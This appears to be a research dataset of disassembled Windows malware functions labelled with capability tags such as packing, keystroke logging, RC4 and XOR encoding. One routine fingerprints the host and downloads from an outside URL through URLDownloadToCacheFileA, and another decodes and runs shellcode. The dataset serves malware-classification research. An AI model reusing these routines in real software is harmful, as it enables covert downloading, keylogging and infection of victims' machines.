joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4c2ce0
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x7a000]
push edi
jmp 0x4c2cfa
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x4c2d01
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4c2cf0
mov eax, 1
add ebx, ebx
jne 0x4c2d13
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x4c2d24
jne 0x4c2d43
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4c2d43
dec eax
add ebx, ebx
jne 0x4c2d30
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x4c2d08
add ebx, ebx
jne 0x4c2d3f
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x4c2d95
xor ecx, ecx
sub eax, 3
jb 0x4c2d5b
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x4c2dca
sar eax, 1
mov ebp, eax
jmp 0x4c2d66
add ebx, ebx
jne 0x4c2d66
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4c2d34
inc ecx
add ebx, ebx
jne 0x4c2d74
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4c2d34
add ebx, ebx
jne 0x4c2d81
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x4c2d76
jne 0x4c2d92
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x4c2d76
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x4c2db4
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x4c2da6
jmp 0x4c2cf6
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x4c2db4
add edi, ecx
jmp 0x4c2cf6
pop esi
mov edi, esi
mov ecx, 0x3935
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x4c2dd2
cmp byte [edi], 0x1a
jne 0x4c2dd2
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x4c2dd7
lea edi, [esi + 0xbf000]
mov eax, dword [edi]
or eax, eax
je 0x4c2e4f
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0xd5fd8]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0xd60dc]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x4c2e04
mov ecx, edi
jns 0x4c2e33
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0xd60e0]
or eax, eax
je 0x4c2e49
mov dword [ebx], eax
add ebx, 4
jmp 0x4c2e21
call dword [esi + 0xd60f0]
mov ebp, dword [esi + 0xd60e4]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x217]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x4c2e83
sub esp, 0xffffff80
jmp 0x45b4ff
Function at 0x401170
Capabilities:
Get hostname

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
mov eax, 1
xor edx, edx
cpuid
mov dword [ebp - 0x14], edx
mov dword [ebp - 0x10], eax
mov eax, 3
xor ecx, ecx
xor edx, edx
cpuid
mov dword [ebp - 0xc], edx
mov dword [ebp - 8], ecx
mov eax, dword [ebp - 8]
mov esi, dword [ebp - 0xc]
mov edx, dword [ebp - 0x10]
mov ecx, dword [ebp - 0x14]
xor eax, esi
mov esi, dword [ebp + 8]
xor eax, edx
xor eax, ecx
push eax
push str._08X
push esi
call fcn.004013c1
add esp, 0xc
lea ecx, [ebp - 4]
add esi, 8
mov dword [ebp - 4], 0x10
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
push esi
push 1
call section..text
add esp, 8
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4011f0
Capabilities:
Check if file exists
Check mutex and terminate process on windows
Check mutex on windows
Encode data using xor
Extract resource via kernel32 functions
Get file attributes
Terminate process

Disassembly:
push ebx
push ebp
push esi
push edi
push str.Global_fvrse
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov esi, eax
test esi, esi
je 0x401233
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
push esi
jne 0x401226
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
ret 0x10
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ebx, dword [esp + 0x14]
push str.gter
push 0x65
push ebx
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov edi, eax
test edi, edi
je 0x40121d
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov esi, eax
test esi, esi
je 0x40121d
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
je 0x40121d
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ebx, eax
test ebx, ebx
je 0x40121d
test esi, esi
jbe 0x401293
or edx, 0xffffffff
lea eax, [ebx + 1]
sub edx, ebx
mov cl, byte [eax - 1]
add eax, 2
not cl
mov byte [eax - 3], cl
xor byte [eax - 2], cl
lea ecx, [edx + eax]
cmp ecx, esi
jb 0x40127e
push 0x4080b4
call fcn.00401797
push 0x4080b0
push 0x4080b4
call fcn.00401784
mov edi, eax
push edi
push 1
push esi
push ebx
call fcn.0040165a
push edi
call fcn.00401604
add esp, 0x20
push 0x8001
call dword [sym.imp.KERNEL32.dll_SetErrorMode]
push 0x4080b4
mov ebp, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
call ebp
test eax, eax
jne 0x4012e3
push eax
call fcn.0040152f
mov esi, dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
push 0x4080b4
call esi
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
cmp eax, 0xffffffff
jne 0x40130b
push 0x64
call ebx
push 0x4080b4
call esi
cmp eax, 0xffffffff
je 0x4012fb
push 0x2b
call fcn.004013b3
mov esi, eax
mov ecx, 0xa
xor eax, eax
mov edi, esi
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push esi
stosb byte es:[edi], al
call fcn.00401170
add esp, 8
push 0x1d4c0
call ebx
push 0x1bc
call fcn.004013b3
mov edi, eax
push esi
push str.http:__www.cdzz8.com_App_Themes_DefaultTheme_us_tj.asp_dau1h_s
push edi
call fcn.004013c1
add esp, 0x10
push str.URLDownloadToCacheFileA
push str.urlmon
call ebp
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0
push 0
push 0x14d
push edi
push edi
push 0
call eax
push 0
call fcn.0040152f
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
Function at 0x40279c
Capabilities:
Generate random numbers using the delphi lcg

Disassembly:
imul edx, dword [0x40c02c], 0x8088405
inc edx
mov dword [0x40c02c], edx
mul edx
mov eax, edx
ret

Function at 0x407868
Capabilities:
Hash data with crc32

Disassembly:
push esi
xor esi, esi
mov ecx, 0x40c55c
mov eax, esi
mov edx, 8
test al, 1
je 0x407884
shr eax, 1
xor eax, 0xedb88320
jmp 0x407886
shr eax, 1
dec edx
jne 0x407877
mov dword [ecx], eax
inc esi
add ecx, 4
cmp esi, 0x100
jne 0x407870
pop esi
ret

Function at 0x40789c
Capabilities:
Encode data using xor

Disassembly:
push ebx
push esi
push edi
mov esi, ecx
mov edi, edx
mov ebx, eax
cmp dword [0x40c558], 0
jne 0x4078bf
call fcn.00407868
push 1
push 0x40c558
call fcn.004043fc
mov eax, edi
test esi, esi
je 0x4078ea
mov edx, ebx
and dx, 0xff
xor ecx, ecx
mov cl, byte [eax]
xor dx, cx
movzx edx, dx
mov edx, dword [edx*4 + 0x40c55c]
shr ebx, 8
xor edx, ebx
mov ebx, edx
dec esi
inc eax
test esi, esi
jne 0x4078c5
mov eax, ebx
pop edi
pop esi
pop ebx
ret
Function at 0x4111d0
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x210
push ebx
push esi
mov esi, dword [sym.imp.advapi32.dll_RegOpenKeyExA]
push edi
lea eax, [ebp - 0xc]
push eax
xor ebx, ebx
inc ebx
push ebx
xor edi, edi
push edi
push 0x431bfc
push 0x80000002
mov dword [ebp - 4], edi
mov dword [ebp - 0x10], 0x200
call esi
test eax, eax
jne 0x411235
lea eax, [ebp - 8]
push eax
push str.EnableJavaUpdate
push dword [ebp - 0xc]
mov dword [ebp - 8], edi
call main
add esp, 0xc
test eax, eax
je 0x411227
cmp dword [ebp - 8], ebx
je 0x41122a
mov dword [ebp - 4], ebx
push dword [ebp - 0xc]
call dword [sym.imp.advapi32.dll_RegCloseKey]
jmp 0x411243
push str.ISAUDisabled__:_Error_opening_HKLM_Policy_key_for_reading
call main
pop ecx
mov dword [ebp - 4], ebx
cmp dword [ebp - 4], edi
jne 0x4112d5
call fcn.00410107
test eax, eax
jne 0x4112d2
call main
test eax, eax
je 0x4112d2
lea eax, [ebp - 0xc]
push eax
push ebx
push edi
push 0x431c74
push 0x80000001
call esi
test eax, eax
jne 0x4112d5
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x210]
push eax
push edi
push edi
push 0x431c9c
push dword [ebp - 0xc]
call dword [sym.imp.advapi32.dll_RegQueryValueExA]
push dword [ebp - 0xc]
mov esi, eax
call dword [sym.imp.advapi32.dll_RegCloseKey]
cmp esi, edi
jne 0x4112d5
mov dword [ebp - 8], edi
call fcn.0040feb9
test eax, eax
je 0x4112c7
push 4
lea eax, [ebp - 8]
push eax
push dword [ebp - 0x10]
lea eax, [ebp - 0x210]
push eax
call fcn.0040ff5d
mov eax, dword [ebp - 8]
add esp, 0x10
jmp 0x4112cd
mov eax, dword [ebp - 0x210]
cmp eax, 0x64
jne 0x4112d5
mov dword [ebp - 4], ebx
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
leave
ret

Function at 0x413c40
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x50
pushal
call 0x413c4f
pop dword [ebp - 0x40]
mov eax, 0xfef7ae4
add eax, 0xf051c16b
sub dword [ebp - 0x40], eax
push 0x40
push 0x1000
push 0x43dda
push 0
mov eax, sym.imp.kernel32.dll_VirtualAlloc
add eax, dword [ebp - 0x40]
call dword [eax]
mov ecx, 0x4fb81860
sub ecx, 0x4fb7c751
xor esi, esi
add esi, eax
mov edi, 0xe4b12933
sub edi, 0xe46d2133
add edi, dword [ebp - 0x40]
mov ebx, 0x2f81caa8
sub ebx, 0xe99568a0
xor dword [ebp - 0x1c], 0x68e4ae4f
mov edx, dword [edi]
add dword [ebp - 0x38], 0xd76532b1
sub edx, ebx
xor dword [ebp - 0x3c], 0x4412cbf4
mov dword [esi], edx
add dword [ebp - 0x38], 0x4bba122b
add esi, 0x24343f31
sub esi, 0x24343f2d
add edi, 4
loop 0x413cab
add eax, 0x521ae597
add eax, 0xade65178
xor ebx, ebx
add ebx, eax
add eax, 0x7b05970c
add eax, 0x84fa68f9
mov ecx, 0x400000
add ecx, dword [ebp - 0x40]
call ebx
leave
ret

Function at 0x4187e4
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x43a210]
jne 0x4187ee
repz ret
jmp fcn.00420617
Function at 0x402e4e
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x4144b0]
jne 0x402e58
repz ret
jmp fcn.004066e4

Function at 0x40c7bc
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x4144b0]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.00407207
and dword [ebp - 0x14], 0
cmp dword [0x4166c8], 0
mov dword [ebp - 0x18], eax
jne 0x40c86f
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x40c917
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x40c917
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x4166c8], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x4166cc], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x4166d0], eax
call edi
push eax
call esi
mov dword [0x4166d8], eax
test eax, eax
je 0x40c86f
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x4166d4], eax
mov eax, dword [0x4166d4]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x40c8c8
cmp dword [0x4166d8], ecx
je 0x40c8c8
push eax
call esi
push dword [0x4166d8]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x40c8c8
test ebx, ebx
je 0x40c8c8
call edi
test eax, eax
je 0x40c8bf
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x40c8bf
test byte [ebp - 8], 1
jne 0x40c8c8
or dword [ebp + 0x10], 0x200000
jmp 0x40c8fb
mov eax, dword [0x4166cc]
cmp eax, dword [ebp - 0x18]
je 0x40c8fb
push eax
call esi
test eax, eax
je 0x40c8fb
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x40c8fb
mov eax, dword [0x4166d0]
cmp eax, dword [ebp - 0x18]
je 0x40c8fb
push eax
call esi
test eax, eax
je 0x40c8fb
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x4166c8]
call esi
test eax, eax
je 0x40c917
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x40c919
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00402e4e
leave
ret
Function at 0x10007400
Capabilities:
Enumerate files on windows

Disassembly:
push 0xffffffffffffffff
push 0x1007863b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x180
push ebx
push ebp
mov ebp, ecx
lea ecx, [esp + 8]
lea eax, [ebp + 0x40]
push eax
call fcn.1006d663
mov ecx, dword [esp + 8]
mov dword [esp + 0x190], 0
mov eax, dword [ecx - 8]
test eax, eax
je 0x10007482
lea edx, [esp + 0x10]
push 1
push edx
lea ecx, [esp + 0x10]
call fcn.1006b575
mov eax, dword [eax]
push 0x10092c28
push eax
call fcn.1005e2c4
add esp, 8
lea ecx, [esp + 0x10]
test eax, eax
setne bl
call fcn.1006d8ee
test bl, bl
je 0x10007482
push 0x10092c28
lea ecx, [esp + 0xc]
call fcn.1006dc7e
push 0x10092c34
lea ecx, [esp + 0xc]
call fcn.1006dc7e
mov ecx, dword [esp + 8]
lea eax, [esp + 0x48]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [esp + 0xc], eax
jne 0x100074be
lea ecx, [esp + 8]
mov dword [esp + 0x190], eax
call fcn.1006d8ee
jmp 0x10007589
push esi
mov esi, dword [esp + 0x19c]
push edi
mov edi, dword [sym.imp.USER32.dll_SendMessageA]
mov ebx, 0x23
test byte [esp + 0x50], 0x10
je 0x10007542
lea edx, [esp + 0x7c]
push 0x10092c30
push edx
call fcn.1005e2c4
add esp, 8
test eax, eax
je 0x10007542
lea eax, [esp + 0x7c]
push 0x10092c2c
push eax
call fcn.1005e2c4
add esp, 8
test eax, eax
je 0x10007542
mov eax, dword [ebp + 0x1c]
lea edx, [esp + 0x1c]
push edx
push 0
lea ecx, [esp + 0x84]
push 0x1100
push eax
mov dword [esp + 0x2c], esi
mov dword [esp + 0x30], 0xffff0003
mov dword [esp + 0x4c], 0
mov dword [esp + 0x50], 1
mov dword [esp + 0x44], ecx
mov dword [esp + 0x34], ebx
call edi
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x50]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x100074d2
mov eax, dword [esp + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [ebp + 0x1c]
push esi
push 2
push 0x1102
push ecx
call edi
lea ecx, [esp + 0x10]
mov dword [esp + 0x198], 0xffffffff
call fcn.1006d8ee
pop edi
pop esi
mov ecx, dword [esp + 0x188]
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x18c
ret 4

Function at 0x10007d90
Capabilities:
Query or enumerate registry value

Disassembly:
mov ecx, dword [esp + 8]
mov edx, dword [esp + 4]
sub esp, 0x10c
lea eax, [esp]
push esi
push eax
push 1
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov esi, eax
test esi, esi
jne 0x10007df2
mov edx, dword [esp + 4]
lea eax, [esp + 8]
lea ecx, [esp + 0xc]
push eax
push ecx
push esi
push edx
mov dword [esp + 0x18], 0x104
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
mov ecx, dword [esp + 0x11c]
lea eax, [esp + 0xc]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov edx, dword [esp + 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
add esp, 0x10c
ret 0xc
Function at 0x10007e00
Capabilities:
Create process on windows

Disassembly:
push 0xffffffffffffffff
push 0x100786bb
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x20c
mov eax, dword [0x1009c5c0]
push esi
push edi
mov edi, ecx
mov dword [esp + 8], eax
mov eax, dword [edi + 0x44]
mov dword [esp + 0x21c], 0
test eax, eax
jne 0x10007f38
mov ecx, dword [edi + 0x48]
lea esi, [edi + 0x48]
mov eax, dword [ecx - 8]
test eax, eax
jne 0x10007e66
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.1006d8ee
xor eax, eax
jmp 0x10007faf
push str.mailto:
lea ecx, [esp + 0xc]
call fcn.1006da2b
push esi
lea ecx, [esp + 0xc]
call fcn.1006dcba
mov ecx, dword [esp + 8]
push ebx
push ebp
mov ebp, dword [esp + 0x22c]
push ebp
push 0
push 0
push ecx
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov esi, eax
cmp esi, 0x20
ja 0x10007f8d
lea edx, [esp + 0x14]
mov ecx, edi
push edx
push str..htm
push accept
call fcn.10007d90
test eax, eax
jne 0x10007f8d
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [esp + 0x14]
push str._shellopencommand
push eax
call ebx
lea ecx, [esp + 0x14]
lea edx, [esp + 0x14]
push ecx
push edx
push accept
mov ecx, edi
call fcn.10007d90
test eax, eax
jne 0x10007f8d
lea eax, [esp + 0x14]
push 0x10092c44
push eax
call fcn.1005f340
mov esi, eax
add esp, 8
test esi, esi
jne 0x10007f6c
lea ecx, [esp + 0x14]
push 0x10092c40
push ecx
call fcn.1005f2c0
mov esi, eax
add esp, 8
test esi, esi
jne 0x10007f6c
lea edx, [esp + 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea esi, [esp + eax + 0x13]
jmp 0x10007f6f
lea edx, [edi + 0x4c]
lea ecx, [esp + 8]
push edx
call fcn.1006d9db
mov eax, dword [esp + 8]
mov ecx, dword [eax - 8]
test ecx, ecx
jne 0x10007e7e
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.1006d8ee
xor eax, eax
jmp 0x10007faf
mov byte [esi], 0
push 0x10092c3c
push esi
call ebx
mov eax, dword [esp + 0x10]
push eax
push esi
call ebx
lea ecx, [esp + 0x14]
push ebp
push ecx
call dword [sym.imp.KERNEL32.dll_WinExec]
mov esi, eax
xor edx, edx
cmp esi, 0x20
setg dl
lea ecx, [esp + 0x10]
mov esi, edx
mov dword [esp + 0x224], 0xffffffff
call fcn.1006d8ee
pop ebp
mov eax, esi
pop ebx
mov ecx, dword [esp + 0x214]
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x218
ret 4
Function at 0x10017270
Capabilities:
Log keystrokes via polling

Disassembly:
mov eax, dword [esp + 4]
push esi
push edi
mov edi, dword [sym.imp.USER32.dll_GetKeyState]
mov cl, byte [eax + 8]
and ecx, 0xff
mov esi, ecx
cmp si, 0x60
jb 0x100172de
cmp si, 0x69
ja 0x100172de
add esi, 0xffd0
cmp si, 0x11
je 0x100172ae
push 0x11
call edi
test ax, ax
jge 0x100172ae
or esi, 0x2000
cmp si, 0x10
je 0x100172c3
push 0x10
call edi
test ax, ax
jge 0x100172c3
or esi, 0x4000
cmp si, 0x12
je 0x100172d8
push 0x12
call edi
test ax, ax
jge 0x100172d8
or esi, 0x8000
mov ax, si
pop edi
pop esi
ret
cmp si, 0x6d
jne 0x100172eb
mov esi, 0xbd
jmp 0x1001729f
cmp si, 0x6e
jne 0x100172f8
mov esi, 0xbe
jmp 0x1001729f
cmp si, 0x6f
jne 0x10017299
mov esi, 0xbf
jmp 0x1001729f

Function at 0x10018a90
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ecx
mov eax, dword [0x100acd58]
xor edx, edx
cmp eax, edx
jne 0x10018ab6
xor eax, eax
mov byte [eax + 0x100acc58], al
inc eax
cmp eax, 0x100
jl 0x10018a9e
mov dword [0x100acd58], 1
mov eax, dword [esp + 0xc]
push ebx
mov ebx, dword [esp + 0x14]
push esi
push edi
mov ecx, 0x40
mov esi, 0x100acc58
mov edi, ebx
rep movsd dword es:[edi], dword [esi]
cmp eax, edx
mov byte [ebx + 0x100], dl
mov byte [ebx + 0x101], dl
jle 0x10018b47
xor esi, esi
push ebp
mov byte [esp + 0x20], dl
xor ecx, ecx
mov edi, dword [esp + 0x20]
mov ebp, dword [esp + 0x18]
mov al, byte [esi + ebx]
and edi, 0xff
xor edx, edx
mov dl, byte [edi + ebp]
mov ebp, eax
and ebp, 0xff
add ecx, edx
add ecx, ebp
and ecx, 0x800000ff
jns 0x10018b1a
dec ecx
or ecx, 0xffffff00
inc ecx
mov byte [esp + 0x10], cl
mov ecx, dword [esp + 0x10]
and ecx, 0xff
mov dl, byte [ecx + ebx]
mov byte [esi + ebx], dl
mov byte [ecx + ebx], al
lea eax, [edi + 1]
cdq
idiv dword [esp + 0x1c]
inc esi
cmp esi, 0x100
mov byte [esp + 0x20], dl
jl 0x10018ae8
pop ebp
pop edi
pop esi
pop ebx
pop ecx
ret

Function at 0x10018bc0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [ebp + 0x10]
push ebx
push esi
push edi
mov cl, byte [eax + 0x100]
mov dl, byte [eax + 0x101]
mov dword [ebp - 8], eax
mov byte [ebp - 1], cl
mov byte [ebp - 2], dl
xor ebx, ebx
mov bl, byte [ebp - 1]
xor edx, edx
mov dl, byte [ebp - 2]
mov esi, dword [ebp - 8]
mov edi, dword [ebp + 8]
xor eax, eax
mov ecx, dword [ebp + 0xc]
test ecx, ecx
jle 0x10018c13
inc bl
mov al, byte [esi + ebx]
add dl, al
xchg byte [esi + edx], al
mov byte [esi + ebx], al
add al, byte [esi + edx]
mov al, byte [esi + eax]
xor byte [edi], al
inc edi
dec ecx
jne 0x10018bfa
mov byte [ebp - 1], bl
mov byte [ebp - 2], dl
mov eax, dword [ebp + 0x10]
mov cl, byte [ebp - 1]
mov dl, byte [ebp - 2]
pop edi
pop esi
mov byte [eax + 0x100], cl
mov byte [eax + 0x101], dl
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x1001fc60
Capabilities:
Enumerate pe sections

Disassembly:
sub esp, 0x18
mov eax, dword [esp + 0x1c]
push ebx
push ebp
push esi
xor esi, esi
xor ecx, ecx
mov si, word [eax + 8]
mov cx, word [eax + 4]
xor ebp, ebp
xor edx, edx
mov bp, word [eax + 0xa]
mov dx, word [eax + 6]
sub esi, ecx
sub ebp, edx
inc esi
xor ebx, ebx
inc ebp
cmp esi, ebx
mov dword [esp + 0x14], esi
jle 0x1001fdf8
cmp ebp, ebx
jle 0x1001fdf8
mov eax, esi
push edi
cdq
and edx, 7
add eax, edx
mov edi, eax
mov eax, esi
sar edi, 3
and eax, 0x80000007
mov dword [esp + 0x10], edi
jns 0x1001fcbe
dec eax
or eax, 0xfffffff8
inc eax
je 0x1001fcc5
inc edi
mov dword [esp + 0x10], edi
mov ecx, edi
and ecx, reloc.WS2_32.dll_accept
jns 0x1001fcd4
dec ecx
or ecx, 0xfffffffe
inc ecx
je 0x1001fcdb
inc edi
mov dword [esp + 0x10], edi
push 0x18
call fcn.1006d62f
add esp, 4
cmp eax, ebx
je 0x1001fcfc
mov dword [eax], ebx
mov dword [eax + 4], ebx
mov dword [eax + 8], ebx
mov dword [eax + 0xc], ebx
mov dword [eax + 0x10], ebx
mov dword [eax + 0x14], ebx
mov ebx, eax
mov eax, edi
mov dword [esp + 0x14], ebx
imul eax, ebp
push eax
mov dword [ebx], 7
mov dword [ebx + 4], esi
mov dword [ebx + 8], ebp
mov dword [ebx + 0x14], eax
call fcn.1006d62f
mov ecx, dword [ebx + 0x14]
mov edi, eax
mov edx, ecx
xor eax, eax
shr ecx, 2
mov dword [ebx + 0x10], edi
add esp, 4
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
mov eax, dword [esp + 0x2c]
test ebp, ebp
lea edx, [eax + 0x80]
jle 0x1001fdee
xor eax, eax
mov dword [esp + 0x20], ebp
mov dword [esp + 0x1c], eax
mov ebp, dword [ebx + 0x10]
xor ecx, ecx
add ebp, eax
mov dword [esp + 0x2c], ecx
test esi, esi
jle 0x1001fdd5
mov al, byte [edx]
cmp al, 0xc0
jbe 0x1001fdc1
and eax, 0xff
sub eax, 0xc0
inc edx
mov esi, eax
mov dword [esp + 0x24], edx
cmp esi, 1
jle 0x1001fdb6
xor eax, eax
mov ecx, esi
mov al, byte [edx]
mov edx, ecx
mov bl, al
mov edi, ebp
mov bh, bl
dec esi
mov eax, ebx
shl eax, 0x10
mov ax, bx
mov ebx, dword [esp + 0x14]
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
mov edx, dword [esp + 0x24]
and ecx, 3
add ebp, esi
rep stosb byte es:[edi], al
mov eax, dword [esp + 0x2c]
lea ecx, [eax + esi*8]
mov esi, dword [esp + 0x18]
jmp 0x1001fdc4
mov al, byte [edx]
mov esi, dword [esp + 0x18]
mov byte [ebp], al
jmp 0x1001fdc4
mov byte [ebp], al
inc ebp
add ecx, 8
inc edx
cmp ecx, esi
mov dword [esp + 0x2c], ecx
jl 0x1001fd60
mov eax, dword [esp + 0x1c]
mov edi, dword [esp + 0x10]
mov ecx, dword [esp + 0x20]
add eax, edi
dec ecx
mov dword [esp + 0x1c], eax
mov dword [esp + 0x20], ecx
jne 0x1001fd51
pop edi
pop esi
mov eax, ebx
pop ebp
pop ebx
add esp, 0x18
ret
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x18
ret
Function at 0x10023330
Capabilities:
Access peb ldr_data

Disassembly:
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x10079ba8
push eax
mov dword fs:[0], esp
sub esp, 0x28
push esi
push edi
mov edi, dword [esp + 0x44]
mov esi, ecx
test edi, edi
jne 0x10023369
pop edi
xor eax, eax
pop esi
mov ecx, dword [esp + 0x28]
mov dword fs:[0], ecx
add esp, 0x34
ret 0x24
push 0x400
lea ecx, [esp + 0xc]
call fcn.10074fab
mov eax, dword [esp + 0x40]
push 0
push edi
push eax
lea ecx, [esp + 0x14]
mov dword [esp + 0x44], 0
call fcn.10074ff7
mov ecx, dword [esp + 0x60]
mov edx, dword [esp + 0x5c]
mov eax, dword [esp + 0x58]
push ecx
mov ecx, dword [esp + 0x58]
push edx
mov edx, dword [esp + 0x58]
push eax
mov eax, dword [esp + 0x58]
push ecx
mov ecx, dword [esp + 0x58]
push edx
push eax
lea edx, [esp + 0x20]
push ecx
push edx
mov ecx, esi
call fcn.100233f0
lea ecx, [esp + 8]
mov esi, eax
mov dword [esp + 0x38], 0xffffffff
call fcn.10075034
mov ecx, dword [esp + 0x30]
mov eax, esi
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x34
ret 0x24